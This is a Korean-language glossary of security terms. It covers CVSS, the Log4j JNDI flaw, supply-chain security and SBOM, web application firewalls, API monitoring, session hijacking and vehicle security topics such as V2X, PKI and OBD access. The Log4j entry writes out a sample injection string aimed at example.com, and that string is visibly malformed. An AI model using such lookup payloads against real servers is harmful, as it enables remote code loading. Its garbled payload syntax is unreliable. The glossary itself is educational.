[ 보안 용어 정리 ]

CVSS (Common Vulnerability Scoring System)

소프트웨어 취약점의 특성과 심각도를 파악하는 데 도움이 되는 개방형 프레임워크이다. CVSS를 이용하면 조직은 통일된 등급 방식으로 여러 소프트웨어에 걸친 IT 취약점의 심각도를 평가할 수 있고, CVSS 점수를 통해 즉시 개선이 필요한 취약점의 우선순위를 결정할 수 있다.

Log4j

JNDI와 LDAP를 이용한 취약점이다. JNDI는 Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

소프트웨어 공급망 공격

소프트웨어 공급망(Supply Chain)은 소프트웨어가 개발자에 의해 개발된 후 사용자에게 도달하기까지 여러 단계로 구성된다. 개발자의 개발 환경부터 소스 코드 저장소, 최종 소프트웨어가 배포되는 플랫폼까지 포함될 수 있으며, 이러한 공급망은 각 소프트웨어를 개발하는 오픈소스 커뮤니티와 개발사, 그리고 소프트 웨어 특성에 따라 달라질 수 있다. 특히, 오픈소스의 경우 재사용 빈도가 높아 사유 소프트웨어에 비해 공급망이 더 길어질 수 있으며, 상호 재사용으로 인해 복잡한 의존성을 가지고 있는 경우 또한 빈번하게 발생하고 있다. IoT 기기를 이용한 금융 서비스의 경우는 공급망이 더욱 길어질 수 있어서, [그림 2]의 사용자 부분이 제조사, 서비스 제공자, 사용자로 6단계로 구성 된다. 공급망의 각 단계는 공격 목표지점이 될 수 있으며, 모든 단계의 보호가 되지 않으면 공격이 가능해진다.

SW 공급망보안은 SW 개발과정에서 포함되는 다양한 공개 SW 목록 등 주요 구성품의 명세서인 SBOM(SW Bill of Materials) 분석을 통해 SW에 포함된 보안 취약점을 발견할 수 있으며, SW 유통·운영과정에서도 제공된 명세서(SBOM, 이하 ‘SBOM’)의 지속적인 분석을 통해 SW 보안성을 확보할 수 있다.

WAF

웹방화벽(Web Application Firewall, WAF) 은 일반적인 네트워크 방화벽 (Firewall)과는 달리 웹 애플리케이션 보안에 특화되어 개발된 솔루션이다.

웹방화벽의 기본 역할은 SQL Injection, Cross-Site Scripting(XSS)등과 같은 웹 공격을 탐지하고 차단하는 것이다. 웹방화벽은 직접적인 웹 공격 대응 이 외에도, 정보유출방지솔루션, 부정로그인방지솔루션, 웹사이트위변조방지솔루션 등으로 활용이 가능하다.

API

API(애플리케이션 프로그래밍 인터페이스)는 최신 기술 및 비즈니스 인프라의 기본 구성요소이다. 가장 기본적인 수준에서 API는 두 애플리케이션이 서로 통신할 수 있게 하는 소프트웨어이다. API는 앱을 앱과 서버에 연결하고 앱과 서버를 소비자에게 연결한다.

 

(참고) API 모니터링 도구

트래픽 분석

API 응답 성공률, 일반적인 오류 코드, 초당 트랜잭션 수 등의 트래픽 및 사용량 측정항목을 찾아 다양한 지역의 전반적인 트래픽을 분석합니다.

트래픽 분석 도구는 트래픽 소스를 식별하고 트래픽을 생성하는 애플리케이션을 파악할 수 있습니다. 예를 들어 봇, 브라우저 또는 라이브러리에서 발생한 트래픽인가? 트래픽의 출처는 어디인가?를 파악합니다.

API 추적 및 관측 가능성

API 관리 플랫폼에서 실행되는 API 프록시의 문제 해결 및 모니터링을 지원합니다. API 추적을 사용하면 API 프록시 흐름을 통해 각 단계의 세부정보를 프로브할 수 있으며, 관측 가능성을 통해 개발자는 실시간으로 수행되는 각 단계의 지연 시간, 성능, 실행을 파악하는 데 도움이 됩니다.

성능 분석

성능 분석 도구는 지역 간 API 응답 시간, 대상 응답 시간, 오류 수를 측정하면서 API 프록시 및 대상의 지연 시간을 확인할 수 있습니다. API 성능 모니터링은 프록시 및 대상의 오류 코드와 오류 구성을 분석합니다.

가용성 및 성능 모니터링

API 모니터링 도구는 세분화된 수준의 세부정보로 전체 가치 사슬에서 API의 가용성과 성능을 추적합니다. 모니터링 도구는 개발자 애플리케이션, 프록시 레이어 또는 백엔드 대상 모두에서 오류의 원인을 식별하여 오류가 발생할 때 알림을 생성하고 해결 시간을 줄일 수 있습니다.

개발자 참여

API 모니터링 도구는 개발자가 API와 상호작용하는 방식도 분석할 수 있습니다. 예를 들어 가장 많은 API 트래픽을 생성하는 개발자는 누구인가? 개발자가 API를 어떻게 사용하고 있는가? 개발자 포털에서 문서를 읽었나?를 분석합니다.

보안 상태

API 관리 플랫폼의 주요 기능 중 하나는 API와 데이터를 악의적인 행위자로부터 보호하는 것이므로 API 모니터링 도구는 항상 API 생태계의 위험, 악의적인 행동, 전반적인 보안 상태를 스캔해야 합니다.

보안 모니터링 도구에서 API 구성을 검토하여 API가 비즈니스의 보안 정책 및 규정 준수 요구사항을 준수하는지 확인할 수 있어야 합니다. 또한 트래픽 패턴의 이상치를 식별하고, 보안 트래픽과 잠재적인 위협을 구별하며, 개발자 정보, trace 세션, API 키와 같은 민감한 정보에 액세스하고 내보내는 사용자를 파악할 수 있어야 합니다.

Session Hijacking Attack

세션(Session)은 사용자와 컴퓨터, 또는 두 대의 컴퓨터 간의 활성화된 상태를 말한다.

세션 하이재킹은 시스템 간 연결이 활성화된 상태, 즉 로그인된 상태를 가로채는 것을 뜻한다.

 

세션 하이재킹은 시스템에 접근할 사용자의 아이디와 패스트워드를 모를 경우 공격 대상이 이미 시스템에 접속되어 세션이 연결되어 있는 상태를 가로채기 하는 공격으로 아이디와 패스워드를 몰라도 시스템에 접근하여 자원이나 데이터를 사용할 수 있는 공격을 말한다.

한 마디로 공격자가 인증 작업 등이 완료된 정상적으로 통신하고 있는 다른 사용자의 세션을 가로채서 별도의 인증 작업을 거치지 않고 가로챈 세션으로 통신을 계속하는 행위이다.

 

차량 보안 6가지

 1. AFW (Application Firewall, 어플리케이션 방화벽)

자동차용 AFW는 자동차 통신 프로토콜에 최적화된 어플리케이션 방화벽이다. 차량 외부에서 유입되는 악성 통신뿐 아니라 차량 내부에서 발생하는 비정상적 통신 내용까지 모두 분석하고 대응한다. 미래 자동차의 요구사항을 충족하기 위한 개발 파트너십 ‘AUTOSAR (AUTomotive Open System Architecture, 개방형 자동차 표준 소프트웨어 구조)’의 표준에서는 이 필요를 ‘Firewall(경로제어)’와 ‘IDS(침입탐지)’로 나눠서 설명하는데, AFW는 Firewall 그리고 IDS의 기능을 모두 다 제공하는 기술로 이해하면 된다.

자동차용 AFW 기술에 있어 가장 중요한 판단기준은 지능형 기술이냐 아니냐의 차이다. 지금도 어플리케이션 공격은 분야를 가리지 않고 모든 정보보안 공격의 절대적 다수를 차지한다. 그리고 커넥티드카가 완전히 실용화 그리고 대중화된 근미래 시점의 어플리케이션 공격의 양은 지금과는 비교도 할 수 없을 정도로 훨씬 더 많아질 것이다. 그렇게 되면 통신 내용을 이미 알려진 공격의 목록과 일일이 대조하며 위험성을 판별하는 기존의 시그니처 방식 방법론으로는 제아무리 열심히 막으려 해도 도저히 막아 낼 수가 없다. 따라서 통신 내용의 논리를 분석하여 기존 공격 외 변종 공격과 아직 정체가 밝혀지지 않은 새로운 공격까지 탐지하고 방어하는 지능형 엔진 탑재 여부가 AFW의 가장 중요한 판단기준이라 할 수 있다.

 

 2. V2X (Vehicle to Anything-Infra/Vehicle/Device, 자동차-사물 통신)

V2X란 차량과 차량 ‘V2V’, 차량과 인프라 ‘V2I’, 차량과 단말기 ‘V2D’ 간의 통신을 총칭하는 용어다. V2X는 차량과 차량 소유자와 관련된 모든 민감한 정보를 총망라하는 통신이기 때문에, V2X 기술의 핵심은 사용자 인증과 데이터 암호화 시스템이다. 그리고 자동차는 산업의 특성 상 한 나라 내수시장에서만 판매되지 않고 세계시장을 고려해 제작되어야 하기 때문에 국제표준규격 준수가 핵심이다.

V2X 통신보안 표준규격으로는 ‘IEEE1609.2’ 그리고 ‘CAMP VSC3’ 등이 있다. ‘IEEE1609.2’는 자동차 환경에서의 무선통신 표준인 ‘WAVE (Wireless Access in Vehicular Environments)’ 관련 표준으로서, 차량이 다른 차량이나 외부 시스템과의 무선통신 시 준수해야 할 보안규격이다. ‘CAMP VSC3 (Crash Avoidance Metrics Partnership Vehicle Safety Communications 3)’는 자동차회사와 관련 기관들이 참여해 구성한 컨소시엄 CAMP에서 만든 보안규격으로서,포드, GM, 혼다, 토요타, 현대기아 등 세계 유수의 자동차회사들이 대거 참여하고 있다. 인증과 암호화 관련해서도CAMP VSC3 규격은 후술할 KMS와 PKI 기술 사용을 엄격히 규정하고 있다.

 

 3. KMS (Key Management System, 암복호화 키 관리 시스템)

KMS는 인증서를 포함한 암복호화 키의 생성과 폐기 등 키의 생애주기별 관리 및 안전한 보관을 위한 시스템이다. 외부통신뿐 아니라 차량 내부 ECU(Electronic Control Unit) 통신을 위한 키 관리 및 안전한 저장, 접근제어 및 권한 관리를 통한 키 오남용 및 도용 방지 등의 기능을 맡아 자동차통신 체계 전체를 안전하게 유지한다.

자동차보안에서뿐만 아니라 KMS는 모든 데이터 암호화 시스템의 핵심이다. 흔히 정보를 암호화하기만 하면 안전하다고 생각하지만, 복호화 키를 탈취당하면 암호문은 언제든 평문으로 바뀔 수 있으므로 안전하지 않다. 따라서 데이터 암호화 시스템이란 즉 암복호화 키 관리 시스템이라고 이해하는 것이 근본적인 동시에 실용적인 해석이다. 따라서 KMS는 어떤 암호화 제품에 대한 판단기준이 되기도 한다. 암호화 제품과 연계된 KMS의 성능과 효율을 기준으로 제품 도입을 결정하는 것은 잘못된 선택으로 인한 피해를 막을 수 있는 가장 현명한 방법이다. 자동차 KMS 또한 마찬가지다.

 

 4. PKI (Public Key Infrastructure, 공개 키 인프라)

하나의 자동차는 사사로운 물건이지만 여러 자동차가 모이면 교통의 요소, 즉 공공물의 일부가 된다. PKI는 자동차가 자동차 한 대로 그치지 않고 국가 인프라의 일부로서 작용하기 때문에 필요한 시스템이다. PKI는 차량용 인증서를 생성하고 운영하고 관리하며, 교통관리 시스템은 PKI를 통해 각개 자동차의 존재를 공적으로 인식한다.

하지만 흔히 오해하는 바와는 달리 이는 사생활 침해와는 무관하고 또 무관해야만 한다. 그러하기 위해서 PKI에는 운전자의 프라이버시를 보호하기 위한 익명화 기술을 포함하고 있다. 주의 깊게 관찰해야 할 지점이다. 그리고 차량용 PKI 시스템 또한 다른 여타 기술과 마찬가지로 국제표준을 엄격히 준수하는지 여부를 보고 판단하면 되는데, 특히 IEEE1609.2 표준에 따르는지를 살펴본다. 그리고 차량용 시스템이기 때문에 개발 시 고도의 경량화 공정이 적용되는데 혹시 그에 따른 시스템 성능이나 효율 문제는 없는지 등을 눈여겨보면 적절하고 안전한 시스템을 선택할 수 있다. 

 

5. ITS (Intelligent transportation system, 지능형 교통 시스템)

ITS는 주행 중인 차량이 교통 인프라와 통신하며 주변 교통상황을 파악하고 앞 차량 급정거나 도로 낙하물 등 위험 정보를 실시간으로 확인함으로써 교통사고를 예방하는 등, 위 PKI와 더불어 공적 개념의 인프라 기술이다.

ITS는 국가 차원의 아주 거대한 시스템이기 때문에 여기에는 자동차 관련 거의 모든 기술이 총동원된다. ITS에 요구되는 바 여러 성질 중 가장 중요한 것은 무조건 신뢰성이다. ITS 체계가 무너진다는 것은 자연재해 수준의 아주 심각한 문제다. ITS 기술의 핵심은 CA (Certificate Authority, 인증기관), RA (Registration Authority, 등록기관), LA (Linkage Authority, 익명화기관) 등 주로 서버 기술이고, 이러한 기술들이 앞서 이야기한 PKI 체계와 어우러져 전체 ITS의 중심을 이룬다.

 

 6. 자동차 물리보안

위 기술들은 모두 다 ICT 기술이다. 하지만 가장 큰 위험은, 자동차 자체다. 이런저런 수법들보다 자동차를 직접 조작해버리는 게 가장 간편한 해킹 방법이기 때문이다.

그 위험은 지금 시중에 판매되는 대부분의 자동차에 대해서도 해당하는 문제다. 대부분의 차량에는 차량정보 수집장치인’OBD(On-board Diagnostics)’ 단자가 설치되어 있다. 문제는 OBD를 통해 쉽게 자동차 관련 정보를 수집할 수 있고 나아가 자동차가 오작동하도록 조작할 수도 있다는 점이다. OBD는 차량 내부에 있어서 차주 외에는 쉽게 접근할 수 없다고 가정하기 때문에 차문 개폐장치 외에는 따로 특별한 보안조치가 없다. 더 큰 문제는 이렇듯 OBD가 부실하게 관리되고 있음에도 불구하고 OBD에 연결되는 기기의 수가 점차 늘고 있다는 사실이다. 곧 실용화될 자율주행 관련 장치 또한 OBD에 연결될 것이다. 해커 입장에서 보자면 무선통신을 이용한 해킹보다 OBD를 직접 노리는 해킹이 훨씬 더 효율적이다. 차문만 따면 그만이니까.